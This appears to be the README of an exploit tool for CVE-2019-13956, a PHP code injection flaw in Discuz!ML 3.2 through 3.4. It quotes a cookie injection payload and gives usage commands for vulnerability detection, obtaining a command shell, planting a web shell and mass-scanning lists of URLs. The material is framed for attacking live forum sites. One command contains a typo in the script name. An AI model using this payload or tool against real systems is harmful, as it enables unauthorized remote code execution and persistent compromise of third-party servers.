Discuz ML RCE
CVE ID : CVE-2019-13956
URL: https://www.esoln.net/blog/2019/06/14/discuzml-v-3-x-code-injection-vulnerability/
CVE URL: https://nvd.nist.gov/vuln/detail/CVE-2019-13956
CVE Mitre : https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-13956
Discuz!ML 3.2 through 3.4 allows remote attackers to execute arbitrary PHP code via a modified language cookie, as demonstrated by changing 4gH4_0df5_language=en to 4gH4_0df5_language=en'.phpinfo().'; (if the random prefix 4gH4_0df5_ were used).
Installation
python2.7
pip -r requirements.txt
Help
python discuz_mlRce.py -h
Vulnerability Detection
python discuz_mlRce.py -u "http://www.example.cn/forum.php"
GETTING Command Shell
python discuz_mlRce.py -u "http://www.example.cn/forum.php" --cmdshell
GETTING Shell URL
python ddiscuz_mlRce.py -u "http://www.example.cn/forum.php" --getshell
Scanning List of URL
python discuz_mlRce.py -f urls.txt